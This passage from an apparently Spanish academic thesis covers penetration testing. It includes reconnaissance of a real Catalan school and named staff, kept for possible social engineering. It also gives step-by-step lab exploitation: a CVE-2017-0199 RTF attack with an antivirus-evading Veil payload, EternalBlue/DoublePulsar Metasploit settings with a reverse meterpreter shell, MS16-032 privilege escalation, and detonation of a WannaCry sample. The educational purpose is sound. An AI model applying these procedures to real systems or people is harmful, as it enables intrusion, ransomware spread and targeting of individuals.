Y si nos desplazamos por la página, podemos ver el número de teléfono, la dirección,
que coincidía con lo visto además en el plano de Google maps anterior, y la dirección
de correo electrónica corporativa. Como parece que regalan la información,
podemos añadir a nuestra base de datos de conocimiento los perfiles en las redes
sociales de Facebook, Twitter e Instagram del centro.
29
Imagen 7.7 Pagina de Facebook
30
Imagen 7.8 Pagina de Twitter
Imagen 7.9 Pagina de Instagram
31
Imagen 7.10 Informacion de contacto del centro
Con la información recabada, aunque sería conveniente, decidimos no buscar más
en otros buscadores, ni aplicar medidas de Google Hacking, al menos, por el
momento.
7.1.3 Whois
Para hacer las búsquedas de Whois consideramos interesante, aunque hay otros
disponibles en el Whois de ICANN (Internet Corporation for Assigned Names and
Numbers, por sus siglas en ingles).
32
Imagen 7.11 Pagina de Whois
En la imagen 5.10 podemos ver la página principal de dicho servicio Whois.
Al buscar el dominio de INS Les Salines nos aparece información muy interesante y
relevante. Alguna ya la teníamos, y con esto la ratificamos una vez más, otra, en
cambio, nos es nueva pero no por ello menos relevante.
33
Imagen 7.12 Resultados de busqueda de inslessalines.cat en whois
Cuando buscamos información en Whois sobre insriberabaixa2 nos aparece menor
cantidad de información la cual no coincide con la información recabada
anteriormente, sin embargo, no podemos descartarla.
Imagen 7.13 Resultado de busqueda de insriberabaixa2.com en whois
7.1.4 Redes Sociales
Buscaremos, con los datos recabados, en las siguientes redes sociales:
- Facebook
- Linkedin
34
- Twitter
Si buscamos por Victor Manuel Lino Martinez, nombre que aparece relacionado con
el dominio www.insriberabaixa2.com, o Miguel Ángel Noval vemos que aparecen
varias opciones posibles pero ninguno se adapta al 100% con lo cual decidimos
pasar al siguiente stage antes de dar por finalizada esta búsqueda.
Imagen 7.14 Perfiles de Facebook para Victor Lino
Al buscar en LinkedIn encontramos información que nos puede ser bastante
interesante. Por un lado, obtenemos a una persona llamada Miguel Ángel Noval
Giralt, que es profesor de la Generalitat de Catalunya y trabaja en el Prat de
Llobregat.
35
Imagen 7.15 Perfiles de LinkedIn Miguel Angel Noval
36
Imagen 7.16 Perfil de Miguel Angel Noval Giralt
Imagen 7.17 Nuestras sospechas se terminan de confirmar
Con lo recopilado, sabemos que el dominio www.inslessalines.cat está a nombre del
director del centro INS Les Salines. Con esta información, y con los datos conocidos
hasta ahora, si analizamos un poco lo recopilado, podemos sospechar que Víctor
Manuel Lino es/era un profesor del centro. Valoramos que tenemos suficiente
información, de las redes sociales, sobre el objetivo actualmente, aunque
mantendremos los datos por si en el futuro requerimos realizar un ataque de
ingeniería social.
37
7.1.5 NSlookup
Buscando información en Nslookup, hemos podido obtener la dirección IP de la
página web del centro.
Imagen 7.18 Resultados NsLookup
Como hemos visto, anteriormente, la dirección de email era de la página xtec.cat, con
lo cual es un dominio externo, perteneciente a la Generalitat de Catalunya. Esto hace
que cuando busquemos información de servidor MX no aparezca nada nuevo.
Imagen 7.19 Resultados servidores MX NsLookup
38
8 Penetration testing en Windows
8.1 Preparativos
Para realizar las diversas pruebas de penetración en los sistemas Windows
contaremos con un ordenador equipado con un Intel Core i3 2100 y una placa base
Asus P8H61-M con 4 GB de RAM y 500 GB de disco duro, al cual le instalaremos el
sistema operativo Windows 10 de 64 bits y Microsoft Office 2016.
8.2 Modelado de la amenaza
Durante este primer cuadrimestre de 2017, han surgido diversas vulnerabilidades,
algunas descubiertas por la NSA, y publicadas gracias al robo de malwares del grupo
Shadow Brokers a la citada agencia de espionaje gubernamental, y otras por los
expertos en seguridad informática.
Algunas de las más famosas son el ransomware WannaCry, que para expandirse por
la red requiere de la vulnerabilidad Eternal Blue y la CVE-2017-0199, una
vulnerabilidad de Microsoft Office que permite la ejecución de código malicioso de
manera remota a un atacante. También existen algunas otras que en caso necesario
o de fallo podremos utilizar:
• EARLYSHOVEL RedHat 7.0 - 7.1 Sendmail 8.11.x exploit
• EBBISLAND (EBBSHAVE) root RCE via RPC XDR overflow in Solaris 6, 7, 8, 9
& 10 (possibly newer) both SPARC and x86.
• ECHOWRECKER remote Samba 3.0.x Linux exploit.
• EASYBEE appears to be an MDaemon email server vulnerability
• EASYFUN EasyFun 2.2.0 Exploit for WDaemon / IIS MDaemon/WorldClient
pre 9.5.6
• EASYPI is an IBM Lotus Notes exploit that gets detected as Stuxnet
• EWOKFRENZY is an exploit for IBM Lotus Domino 6.5.4 & 7.0.2
• EXPLODINGCAN is an IIS 6.0 exploit that creates a remote backdoor
• ETERNALROMANCE is a SMB1 exploit over TCP port 445 which targets XP,
2003, Vista, 7, Windows 8, 2008, 2008 R2, and gives SYSTEM privileges
(MS17-010)
• EDUCATEDSCHOLAR is a SMB exploit (MS09-050)
39
• EMERALDTHREAD is a SMB exploit for Windows XP and Server 2003 (MS10-
061)
• EMPHASISMINE is a remote IMAP exploit for IBM Lotus Domino 6.6.4 to 8.5.2
• ENGLISHMANSDENTIST sets Outlook Exchange WebAccess rules to trigger
executable code on the client's side to send an email to other users
• EPICHERO 0-day exploit (RCE) for Avaya Call Server
• ERRATICGOPHER is a SMBv1 exploit targeting Windows XP and Server 2003
• ETERNALSYNERGY is a SMBv3 remote code execution flaw for Windows 8
and Server 2012 SP0 (MS17-010)
• ETERNALBLUE is a SMBv2 exploit for Windows 7 SP1 (MS17-010)
• ETERNALCHAMPION is a SMBv1 exploit
• ESKIMOROLL is a Kerberos exploit targeting 2000, 2003, 2008 and 2008 R2
domain controllers
• ESTEEMAUDIT is an RDP exploit and backdoor for Windows Server 2003
• ECLIPSEDWING is an RCE exploit for the Server service in Windows Server
2008 and later (MS08-067)
• ETRE is an exploit for IMail 8.10 to 8.22
• ETCETERABLUE is an exploit for IMail 7.04 to 8.05
• FUZZBUNCH is an exploit framework, similar to MetaSploit
• ODDJOB is an implant builder and C&C server that can deliver exploits for
Windows 2000 and later, also not detected by any AV vendors
• EXPIREDPAYCHECK IIS6 exploit
• EAGERLEVER NBT/SMB exploit for Windows NT4.0, 2000, XP SP1 & SP2,
2003 SP1 & Base Release
• EASYFUN WordClient / IIS6.0 exploit
• ESSAYKEYNOTE
• EVADEFRED
8.3 Análisis de Vulnerabilidades y enumeración.
Como se ha comentado anteriormente, la fase recolecta de información
(Footprinting) no es posible en este laboratorio pues es un laboratorio montado en
exclusiva para para el aprendizaje sobre el Penetration Testing. Sin embargo, si se
40
pueden llevar a cabo las fases de análisis de vulnerabilidades (Vulnerability
Assessment) en la cual nos centraremos en buscar las vulnerabilidades conocidas
para el objetivo, así como el estado de los puertos (filtrado, abierto, cerrado). Para
ello usaremos herramientas las siguientes herramientas:
- Nmap
- Nessus
- Smbclient
- Hping3
- DNSenum
- PsTools
8.3.1 Nmap
El primer programa de los utilizados es Nmap. Dicho programa está fundamentado
en el código abierto y entre sus utilidades está el rastreo de puertos y sondear redes
de computadores, incluyendo detección de equipos, servicios y sistemas operativos.
Además, estas funciones, mediante el uso de scripts, son extensibles para proveer
servicios de detección avanzados, detección de vulnerabilidades y otras
aplicaciones. Por si fuera poco, puede adaptarse, durante los escaneos, a las
condiciones de la red, incluyendo latencia y congestión.
8.3.1.1 Evaluación del objetivo
Durante la evaluación del objetivo con Nmap llevamos a cabo varias pruebas,
algunas más “intrusivas” y detectables por el objetivo y otras más sigilosas. La lista
de pruebas de Nmap usadas son:
• Nmap -sV -T4 -O -F –versión-light 10.212.21.116
• Nmap -p 1-65535 -T4 -A -v 10.212.21.116
• Nmap -sN -T5 10.212.21.116
• Nmap -v -O -Pn -n 10.212.21.116
• Nmap -f -n -P0 -v -p- -T4 10.212.21.116
41
8.3.1.1.1 Nmap -sV -T4 -O -F –versión-light 10.212.21.116
Imagen 8.1 Resultados prueba 1 NMAP
En esta evaluación, como se observa en la imagen 6.1, se realiza un comando
conocido como Quick Scan Plus. Este comando, realiza un escaneo rápido de los 100
puertos más comunes y además realiza una detección rápida del sistema operativo
objetivo y la versión del mismo.
En la imagen podemos observar que los puertos TCP 135, 139 y 445 estaban
abiertos. Estos puertos fueron famosos recientemente por una vulnerabilidad
descubierta por la NSA en el protocolo Samba que permitía la ejecución de código
malicioso remoto, lo que dio pie a la gran infección por WannaCry, en la que se
vieron envueltas miles de empresas y países, entre ellas Telefonica o el NHS
(National Health Service, por sus siglas en Ingles) del Reino Unido.
42
8.3.1.1.2 Nmap -p 1-65535 -T4 -A -v 10.212.21.116
Imagen 8.2 Resultados prueba 2 NMAP
Como se ve en la imagen 6.2, acto seguido decidimos realizar un Intense Scan, salvo
que decidimos aumentar el rango de puertos a todos los del rango TCP, en vez de
limitarlos a los 1000 más comunes. De esta manera, pudimos descubrir también
nuevos puertos abiertos del servicio Microsoft Windows RPC, los cuales habían
pasado desapercibidos en la vez anterior.
43
8.3.1.1.3 Nmap -sN -T5 10.212.21.116
Imagen 8.3 Resultado prueba 3 NMAP
A continuación, decidimos realizar un análisis enviando paquetes tcp nulos para
despistar a un posible firewall de nuestra presencia. Gracias a esto podremos saber
si un puerto está abierto/filtrado o bien está cerrado.
44
8.3.1.1.4 Nmap -v -O -Pn -n 10.212.21.116
Imagen 8.4 Resultado prueba 4 NMAP
Como habíamos visto anteriormente, ningún escáner nos podía indicar con
exactitud el sistema operativo y la versión del mismo. Podíamos suponer que era un
sistema Windows por los servicios Microsoft Windows RPC descubiertos, pero poco
más, por eso decidimos investigar un poco más al respecto con este comando de
Nmap. Por desgracia, este comando también falla, pero el hecho de que este
comando también falle al descubrir el sistema operativo puede ser una señal que
indique que se trataría de una versión muy reciente o modificada del mismo. Como
los sistemas Windows son de código cerrado, descartamos la posibilidad de que sea
un sistema modificado al uso.
45
8.3.1.1.5 Nmap -f -n -P0 -v -p- -T4 10.212.21.116
Imagen 8.5 Resultado prueba 5 NMAP
En esta ocasión para terminar de cuadrar que puertos están abiertos y cuales no tras
un firewall podemos usar la opción -f para fragmentar paquetes, -n para la no-
resolucion DNS y P0 para asumir que esta iniciado el objetivo.
8.3.2 Nessus
Para escanear vulnerabilidades en el entorno de pruebas utilizaremos Nessus. Dicho
programa, actúa en dos fases: en la primera fase hace un escaneo de los puertos con
Nmap, o su propio scanner de puertos, en busca de puertos activos y en base a los
resultados prueba, en la segunda fase, con los exploits conocidos para atacar los
puertos que se detectaron abiertos.
Las pruebas de vulnerabilidad se realizan con plugins/scripts escritos en NASL
(Nessus Attack Scripting Language) un lenguaje scripting optimizado para
interacciones personalizadas en redes.
Una cosa que puede ser bastante relevante de esta herramienta es que se pueden
exportar los resultados en diversos formatos (XML, PDF (requiere de java en el
46
servidor Nessus), CSV, HTML, entre otros) lo que permite una gran integración con
herramientas como Metasploit.
8.3.2.1 Evaluación del objetivo
Nessus es una herramienta bastante sencilla de utilizar, pues su interfaz web nos
simplifica muchísimo el trabajo. Por si fuera poco, en cada vulnerabilidad o dato
extraído del análisis da una pequeña explicación y hace una valoración e indica
alguna solución al respecto.
Imagen 8.6 Pagina principal Nessus
Como vemos en la imagen 6.3, hay varias opciones de configuración, pero muchas
de ellas requieren una versión con licencia de pago. Para nuestro caso, la mejor es el
Advanced Scan, pues el resto o van enfocadas a casos especiales de seguridad, en los
cuales se requieren muchas veces datos mayores de los disponibles por nosotros, o
se quedan en la superficie de lo que queremos analizar.
47
Imagen 8.7 Configuracion del Advanced Scan
48
Imagen 8.8 Pantalla de estado de los Scans de Nessus
En la imagen 6.4 podemos apreciar el menú principal de configuración. EN las
opciones avanzadas veremos cosas interesantes como la automatización de
escaneos según hora y día, opciones para esquivar las soluciones IDS/IPS, etc. Una
vez finalizada la configuración de los escaneos veremos algo parecido a la imagen
6.5. Si le damos a iniciar (Launch) podremos indicar si deseamos hacerlo con la
configuración default o por el contrario queremos un escáner más a nuestra medida.
49
Imagen 8.9 Advanced Scan en funcionamiento
Durante el escáner, en esta pestaña podremos ver el avance del mismo donde
podremos ver el listado de objetivos descubiertos y las vulnerabilidades y avisos
recibidos.
Imagen 8.10 Resultados de la prueba Nessus
50
Cuando el análisis haya finalizado, veremos algo parecido a esto donde se muestra
los avisos y vulnerabilidades, con su gravedad, descubiertas. En este caso,
reafirmando lo descubierto con Nmap, hay una vulnerabilidad en Samba. Además,
podemos ver que, como intuíamos, el sistema operativo del objetivo es Windows 10
8.3.3 Smbclient
La siguiente herramienta podríamos decir que es una herramienta de andar por casa
pues aunque su idea de uso, permitir a los clientes samba acceder a los recursos en
los servidores SMB/CIFS, nos permite en la fase de Vulnerability Assessment
generar una Null Session en la maquina objetivo con la finalidad de llamar a API’s y
usar llamadas a procedimientos remotos para enumerar información. Estas técnicas
pueden y otorgaran información relativa a contraseñas, grupos, usuarios, e incluso
procesos activos. Además, con los ataques Null Session se pueden elevar privilegios
y obtener ataques DoS (Denial of Service).
8.3.3.1 Evaluación del objetivo
Imagen 8.11 Resultados del Null Session con smbclient
La imagen 6.7 no da lugar a dudas, al intentar realizar un login anónimo con una Null
Session de Samba, nos indica que la opción “syslog” está obsoleta y por esa razón
nos muestra los errores NT_STATUS_ACCESS_DENIED y
NT_STATUS_RESOURCE_NAME_NOT_FOUND. Por suerte, la poca información que
nos otorga, es el nombre del equipo DESKTOP-M2NDNTJ y la versión Windows 10
Pro compilación 15063.
8.3.4 Hping3
51
Hping3 es una aplicación de terminal para Linux que nos permite analizar y
modificar fácilmente paquetes TCP/IP. A diferencia de un Ping convencional, que
utiliza paquetes ICMP, HPing3 permite el envío de paquetes TCP, UDP y RAW-IP.
Además, puede ser utilizada para fines de seguridad como, probar la eficacia de un
firewall a través de diferentes protocolos, la detección de paquetes sospechosos o
modificados e incluso probar la protección frente a ataques DoS de un sistema o un
Firewall.
8.3.4.1 Evaluación del objetivo
Imagen 8.12 Resultados de la prueba, haciendo bypass al firewall, con hPing3
Aquí podemos ver, una vez más, que como afirmaba Nessus y Nmap los puertos 135,
139 y 445 están abiertos y son vulnerables.
8.3.5 DNSenum
Esta fue una herramienta diseñada con el propósito de enumerar información DNS
sobre un dominio. La información que se puede obtener con esta herramienta
cuando nos vamos a disponer a realizar una prueba de penetración al dominio
respectivo. El modo de funcionamiento de DNSenum es el siguiente: tras lanzar la
consulta, DNSenum, comenzará a consultar los servidores DNS. El primer dato que
obtendremos es la dirección del host. Después, obtiene los servidores de nombres
que nos permitirá tener una información del proveedor de alojamiento que se está
52
utilizando y finalmente el registro MX del que obtendremos información sobre el
servidor de correo de nuestro objetivo.
8.3.5.1 Evaluación del objetivo
Imagen 8.13 Resultados DNSEnum
En la imagen 6.9 podemos observar que ante un intento de enumeración dns no
logramos obtener resultado alguno.
8.3.6 PsTools
Normalmente, un scanner de vulnerabilidades solo mostrará posibles
vulnerabilidades que explotar. Una herramienta de escaneo como Nmap puede
decirte algo sobre los sistemas escaneados, pero manualmente será muy complicado
de testear manualmente con herramientas específicas que una vulnerabilidad es
real y el sistema puede ser penetrado y explotado. Algunas aplicaciones como
Nessus tienen plugins muy bien desarrollados para testeo, pero siguen sin penetrar
en el sistema salvo que se configuren los plugins o scripts para ello.
A veces, querrás probar herramientas por separado que confirmen la existencia del
problema. A menudo podrás hacer eso con herramientas administrativas habituales.
En las redes Windows a menudo con las herramientas GUI no son efectivas para ello.
Por suerte, existen las PsTools.
8.3.6.1 Evaluación del objetivo
Para llevar a cabo la evaluación utilizamos el siguiente conjunto de herramientas
tanto de 32 como de 64 bits de las PsTools:
53
• Psfile
• PsGetsid
• PsInfo
• PsList
• PsService
8.3.6.1.1 Psfile
Imagen 8.14 Prueba PsTools: Psfile
Imagen 8.15 Prueba PsTools: Psfile64
Como podemos ver en las dos imágenes en ambos casos nos indica que el acceso esta
denegado por la falta de credenciales validas, cosa de la cual no disponemos, cosa
que, en avance, podemos decir que ocurrirá en el resto de pruebas de las PsTools.
54
8.3.6.1.2 PsGetsid
Imagen 8.16 Prueba PsTools: PsGetsId
8.3.6.1.3 PsInfo
Imagen 8.17 Prueba PsTools: PsInfo
55
8.3.6.1.4 PsList
Imagen 8.18 Prueba PsTools: PsList
8.3.6.1.5 PsService
Imagen 8.19 Prueba PsTools: PsService
8.4 Explotación
Tras haber recolectado información sobre el objetivo y sus vulnerabilidades y
posibles brechas de seguridad es el momento de poner toda esa información en
juego y buscar los medios más apropiados para penetrar en el sistema. Las
herramientas usadas en este apartado son diversas y muchas veces supletorias unas
de otras, es decir, hay muchas herramientas con funciones similares y, en algunos,
ni siquiera son necesarias estas herramientas, pero para ello se requiere de una gran
habilidad de programación. En mi caso, usaremos las siguientes aplicaciones:
- Metasploit
- Htattack
56
- Veil-evassion
Durante esta fase, buscaremos exploits que nos permitan introducirnos en el
objetivo. En ningún caso, durante esta fase, robaremos datos, o manipularemos,
maliciosamente, el equipo. Por poner un símil, durante esta fase, somos los ladrones
que tras conocer a su víctima y su lugar de residencia deciden acceder al interior de
la misma, en esta fase, solo utilizaremos las herramientas nos permitan obtener
dicho objetivo.
8.4.1 Metasploit
Metasploit es un proyecto código abierto para profesionales de la seguridad
informática que proporciona información acerca de vulnerabilidades de seguridad
y ayuda en pruebas de penetración y el desarrollo de firmas de detección de
intrusos. El subproyecto más importante es Metasploit Framework, una
herramienta para desarrollar y ejecutar exploits contra una maquina remota. Según
las necesidades tenemos diversas interfaces para Metasploit disponibles.
8.4.1.1 Edición Metasploit
Versión gratuita, contiene una interfaz de línea de comandos, la importación de
terceros, la explotación manual y fuerza bruta.
8.4.1.2 Edición Community Metasploit
En octubre de 2011, Rapid7 liberó Metasploit Community Edition, una interfaz de
usuario gratuita basada en la web para Metasploit. Metasploit Community incluye,
detección de redes, navegación por módulo y la explotación manual.
8.4.1.3 Metasploit express
En abril de 2010, Rapid7 liberó Metasploit Express, una edición comercial de código
abierto, para los equipos de seguridad que necesitan verificar vulnerabilidades.
Ofrece una interfaz gráfica de usuario, integra nmap para el descubrimiento, y añade
fuerza bruta inteligente, así como la recopilación de pruebas automatizado.
57
8.4.1.4 Metasploit Pro
En octubre de 2010, Rapid7 añadio Metasploit Pro, de código abierto para pruebas
de penetración. Metasploit Pro incluye todas las características de Metasploit
express y añade la exploración y explotación de aplicaciones web.
8.4.1.5 Armitage
Herramienta de gestión grafica para ciberataques del Proyecto Metasploit, ayuda a
la visualización y recomienda métodos de ataque. Es una herramienta para
ingenieros en seguridad web y es de código abierto. Permite sesiones compartidas,
datos y comunicación a través de una única instancia Metasploit.
8.4.2 Veil
Es una herramienta diseñada para generar payloads para metasploit con capacidad
para no ser detectados por la mayoría de las soluciones antivirus.
8.4.3 Prueba de explotación: CVE – 2017-0199
Para poner a prueba la seguridad del sistema decidimos atacar la vulnerabilidad CVE
– 2017 – 0199 que permite a un atacante remoto abrir un backdoor en el paquete
Microsoft Office. Para llevar a cabo la explotación es necesario:
• Una distribución Linux
• Veil-evasion
• Htattack
• Metasploit
Los pasos a seguir durante el proceso de explotación son los siguientes:
1-. Creamos con el comando touch un documento de office (*.docx, *.doc, etc.) y lo
situamos en la carpeta del servicio apache2 (/var/www/html).
Imagen 8.20 Creacion del archivo informacion.doc en /var/www/html
58
2-. Con Veil-evasion, seleccionamos uno de los 51 payloads disponibles, en mi caso
seleccioné el número 30, al tener el meterpreter y poder ser ofuscado fácilmente con
Pyherion
2.1-. Una vez seleccionado, con el comando “set” modificamos los valores LHOST,
LPORT (solo si deseamos que escuche por otro puerto) y el USE_PYHERION (si
usamos un exploit de pyhton).
Imagen 8.21 Configuracion del payload, el handler y el meterpreter con Veil-evassion
2.2-. Acto seguido, con el comando “generate”, generamos el payload. Nos será
solicitado un nombre para el payload y el ofuscador deseado. El nombre del payload
es irrelevante pero el ofuscador es aconsejable dejar la opción por defecto.
59
Imagen 8.22 Nombre del payload
Imagen 8.23 Obfuscación del payload
3-. Vamos a la carpeta (/var/lib/veil-evasion/output/compiled/) y copiamos el
payload de esa carpeta a (/var/www/html)
60
Imagen 8.24 Carpetas contenedoras de los payload, handler y meterpreter
4-. Iniciamos el servicio de apache2.
5-. En una maquina con Windows y Microsoft Office, abrimos un documento de
Word y en la pestaña “Insertar” le indicamos que deseamos insertar un objeto desde
un archivo. Insertamos la dirección al documento Word de apache y marcamos la
casilla “Vincular al archivo”. Damos a aceptar para cerrar la pestaña y guardamos el
documento con formato RTF.
Imagen 8.25 Insertamos el objeto
61
Imagen 8.26 Elegimos el documento a insertar
Imagen 8.27 Guardamos el documento en formato RTF
6-. Abrimos con el bloc de notas el documento RTF y buscamos “obj”. Entre object
y objautlink insertamos objupdate. Guardamos los cambios y salimos.
62
Imagen 8.28 Abrimos el documento RTF con el bloc de notas
Imagen 8.29 Buscamos la palabra clave ‘obj’
Imagen 8.30 Buscamos la palabra clave ‘obj’
Imagen 8.31 Entre object y objautlink añadimos objupdate
7-. Paramos el servicio apache2 e iniciamos htattack con el siguiente comando
Python htattack.py -u <url_al_payload>.
63
Imagen 8.32 Descargamos htattack
Imagen 8.33 Paramos el servicio apache 2 e iniciamos htattack
8-. Vamos a la carpeta /var/lib/veil-evasion/output/handlers y con el comando
msfconsole -r <nombre_handler>.rc lo iniciamos.
Imagen 8.34 Inicamos el handler para permanecer a la escucha
64
9-. Volvemos a la maquina Windows y abrimos el documento rtf con Word. Nos
preguntará si deseamos que el archivo actualice por red el objeto incrustado, si todo
ha ido bien, dará igual la respuesta, el troyano ya estará en el equipo. Se ha realizado
la explotación.
Por desgracia, en mi prueba tanto en sistemas Windows 10 de 32 bits, con en 64 bits
dicha penetración no tuvo el éxito. Esto puede ser debido a que la vulnerabilidad fue
descubierta a mediados de abril de 2017 y hoy ya está parcheada desde inicios de
mayo. Como Windows 10 es auto actualizable y en W7, con actualizaciones
desactivadas, la prueba también fue infructuosa., decidimos probar con los exploits
de la NSA, obtenidos por Shadow Broker, EternalBlue y DoublePulsar.
8.4.4 EternalBlue y DoublePulsar
EternalBlue aprovecha una vulnerabilidad en la implementacion del protocolo
Server Message Block (SMB) de Microsoft. Esta vulnerabilidad, denotada como
CVE-2017-0144 en el catálogo Common Vulnerabilities and Exposures (CVE), se
debe a que la version 1 del servidor SMB (SMBv1) acepta en varias versiones de
Microsoft Windows paquetes específicos de atacantes remotos, permitiéndoles
ejecutar código en el ordenador en cuestión.
Los pasos a seguir para realizar una infección con EternalBlue y DoublePulsar son
los siguientes:
1-. Abrimos alguna de las variantes de Metasploit, en mi caso msfconsole, y
buscamos el scanner auxiliar alojado en auxiliary/Windows/smb/smb_ms17_010.
Con el comando use y el nombre entramos en la pantalla de configuración.
2-. Configuramos el scanner con la dirección IP de la víctima, en nuestro caso
192.168.91.145, para ello usamos el comando “set RHOSTS <ip-de-la(s)-
victima(s)>”. Una vez finalizado, ejecutamos el comando exploit, o algún otro que
realice la misma función (run, rerun, etc.)
3-. Cuando nos aparezca el resultado, sabremos si nuestra víctima es, o no,
vulnerable al exploit EternalBlue y DoublePulsar. De ser vulnerable, procedemos a
descargar el exploit, enlace en la Bibliografia.
65
4-. Una vez descargado, copiamos el exploit, será el fichero llamado
Eternalblue_Doublepulsar.rb en la carpeta donde se almacenan las librerías de
Metasploit, /usr/share/metasploit-framework/modules/exploits/Windows/smb.
Volvemos a msfconsole y realizamos un “Reload_all” que recheckeara la base de
datos de exploits y herramientas.
5-. Con el comando search de msfconsole buscaremos el exploit. Una vez
localizado, le indicaremos a msfconsole con el comando use que lo utilice y
pasaremos a configurarlo.
6-. Setearemos el RHOST con la ip de la víctima, LHOST con la ip nuestra, LPORT
con el puerto que queremos usar para recibir los del exploit, el PAYLOAD con
Windows/x64/meterpreter/reverse_tcp, el PROCESSINJECT como explorer.exe, y
DOUBLEPULSARPATH y ETERNALBLUEPATH con la dirección de descarga de la
carpeta del exploit y, dentro de esta, la carpeta /deps. En mi caso, fue algo asi:
- Set RHOST 192.168.91.145
- Set LHOST 192.168.91.143
- Set LPORT 4444
- Set PAYLOAD Windows/x64/meterpreter/reverse_tcp
- Set PROCESSINJECT explorer.exe
- Set DOUBLEPULSARPATH ~/Desktop/EternalBlue-DoublePulsar-
Metasploit/deps
- Set ETERNALBLUEPATH ~/Desktop/EternalBlue-DoublePulsar-
Metasploit/deps
7-. Para finalizar la explotación, ejecutaremos el comando “exploit”, el cual iniciará
el proceso de explotación y nos generará una consola reversa con privilegios de
usuario común.
8-. Si deseáramos comprobar nuestra penetración podríamos ejecutar en la
consola del meterpreter los comandos getuid y sysinfo. Si intentáramos realizar un
comando para el cual se requiriesen privilegios elevados como getsystem, por
ejemplo, se nos notificaría un fallo al intentar realizar una tarea sin los privilegios
adequados.
66
En este enlace podremos ver el proceso realizado de manera práctica:
https://www.youtube.com/watch?v=ivnv7QiwmhU
67
8.5 Post-Explotación
En esta fase, una vez ya hemos obtenido el acceso y el control del sistema, cosas que
se obtienen en la fase de explotación, procedemos al robo de credenciales, a
mantener el acceso aun cuando la maquina se apague o reinicie, a realizar ataques a
terceros, etc.
Las herramientas de post-explotación son múltiples dependiendo lo que queramos
obtener. Tanto se puede usar la simple consola de comandos para robar información
como infectar el sistema con (Virus, Troyanos, Ransomware, etc.). En nuestro caso
probaremos como se expande por la red el famoso ransomware WannaCry. Para
ello, variaremos el laboratorio, cambiando el Windows 10 (debido a las
actualizaciones automáticas de Windows 10, dicho ransomware no llegó a cifrar
ningún archivo) por Windows Server 2012 y añadiendo un Windows 7.
8.5.1 Ransomware Wannacry
Para montar dicho laboratorio fueron necesarias las siguientes herramientas:
• Maquina virtual con Windows 7
• Maquina virtual con Windows Server 2012
• Maquina virtual con una distribución Linux con Wireshark (en nuestro caso,
Kali Linux)
• Telegram en la maquina Windows Server 2012
Para evitar males mayores se configuraron las maquinas con interfaz de red en red
interna e interconectadas entre ellas, pero no con el quipo host.
Las IP’s de cada máquina durante la prueba son:
• Windows Server 2012 -> 192.168.91.133
• Windows 7 -> 192.168.91.131
• Kali Linux -> 192.168.91.130
Lo primero que hicimos fue descargar una muestra de dicho ransomware. Para ello,
fuimos al canal de Telegram x000’s Channel y nos descargamos la muestra existente.
68
Imagen 8.35 Descargamos el ransomware
Acto seguido, tal y como muestra, la imagen, lo descomprimimos. Nos quedará un
archivo WannaCry.INFECTED, lo renombramos por WannaCry.exe y lo ejecutamos.
Imagen 8.36 Extraemos el zip y renombramos wannacry.infected por wannacry.exe
Imagen 8.37 Archivos creados por wannacry al ejecutarse
Tras iniciarlo, como se ve en la imagen 6.29, veremos que crea multitud archivos que
suponemos son necesarios para su funcionamiento. Como se aprecia, dichos
documentos, tienen extensión .wnry, una de las usadas por el propio ransomware,
lo que nos dificultará saber cuál es su contenido.
Al poco tiempo, empezará a cifrar, los archivos y la carpeta donde antes teníamos
nuestros documentos quedará cifrada. Cuando dicho proceso termine, se nos
cambiará el fondo de pantalla del escritorio y nos aparecerá un cartel
69
informándonos del secuestro de nuestros archivos y del pago a realizar antes de que
se elimine la clave privada que, supuestamente, descifrará nuestros archivos.
Imagen 8.38 Continuan creandose archivos
70
Imagen 8.39 Archivos cifrados por wannacry
Imagen 8.40 Cambio de fondo automatico por wannacry
71
Imagen 8.41 Aviso de peticion de pago de wannacry
En la carpeta compartida con Windows 7, veremos que también se cifran los datos.
En las diversas horas que llegué a dejar el experimento funcionando, solo fue capaz
de cifrar la carpeta compartida entre ambos Windows.
Imagen 8.42 Ciframiento de archivos en la carpeta compartida
8.5.2 MS16-032
La vulnerabilidad MS16-032 se trata de una vulnerabilidad que podría permitir la
elevación de privilegios si el servicio de inicio de sesión secundario de Windows
falla al administrar correctamente los identificadores de solicitud en la memoria.
72
Para llevar a cabo esta fase de post-explotación, es necesario ya tener previamente
acceso al sistema, ya sea de manera remota o local, así que supondremos que se
realiza acto seguido a la fase de explotación. Para el laboratorio, realmente, da igual
el orden, pero en un caso real, lo más probable, es que lo primero que realizaríamos
sería un proceso de post-explotación que nos permitiese mantener el acceso,
aunque el equipo se apagara, se suspendiera o reiniciase.
Las fases para obtener el aumento de privilegios son las siguientes:
1-. Con el comando msfvenom codificamos, en un .exe, una consola reversa tcp y la
guardamos en nuestra carpeta.
2-. Utilizando el meterpreter (m1), con el comando upload, subiremos el
meterpreter (m2), al equipo infectado.
3-. Buscamos el exploit ms16-032, podremos conseguirlo de Internet o desde la base
de datos local de exploitdb, en Kali Linux, y lo copiamos en la carpeta /tmp.
4-. Con un editor de texto, buscamos en exploit las líneas que hacen referencia al
ejecutable de CMD y lo modificamos por la ruta, en el ordenador de la víctima, donde
hemos dejado el meterpreter (m2) que subimos anteriormente.
5-. En el meterpreter (m1), cargaremos el módulo Powershell y, a continuación,
haremos un Powershell_import para importar el exploit.
6-. En una consola aparte, ejecutaremos otra instancia de msfconsole y usaremos el
auxiliary/multi/handler. Configuraremos los valores de LHOST, LPORT y PAYLOAD,
para que coincidan con los del meterpreter (m2) y, seguidamente, haremos un
comando run para que inicie su ejecución.
7-. Ejecutaremos en el meterpreter (m1), el comando Powershell_execute para
ejecutar el exploit importado. Nos aparecerá una pantalla y podremos ver que en el
handler nos ha aparecido una nueva consola reversa de meterpreter (m3). Si
realizamos los mismos comandos de antes, getuid y sysinfo, ya debería informarnos
de que tenemos privilegios de SYSTEM.
A partir del minuto 13:17, podremos ver en el siguiente enlace el video de la fase de
post-explotacion: https://www.youtube.com/watch?v=ivnv7QiwmhU
73
9 Penetration Testing en Linux
Debido a falta de material para montar el laboratorio para Linux y a retrasos y
necesidades de tiempo de mis compañeros Javier Boix y David Romero, me ha sido
imposible llegar a cabo las pruebas de penetración en Linux.
74
10 Conclusiones
Bien, llegados a este punto podemos comentar algunas cosas sobre seguridad. Tras
todas las pruebas realizadas, y con la experiencia que me llega, puedo afirmar unas
cuantas cosas:
• Es cierto, que toda posibilidad de brecha es peligrosa pero aun así no todas
tienen la misma peligrosidad. Así podemos ver, que con MS17-0199 las
posibilidades de penetración, aunque sencillas de llevar a cabo, no siempre
son tan efectivas como pudiera parecer.
• Conviene tener el sistema operativo y las aplicaciones actualizadas.
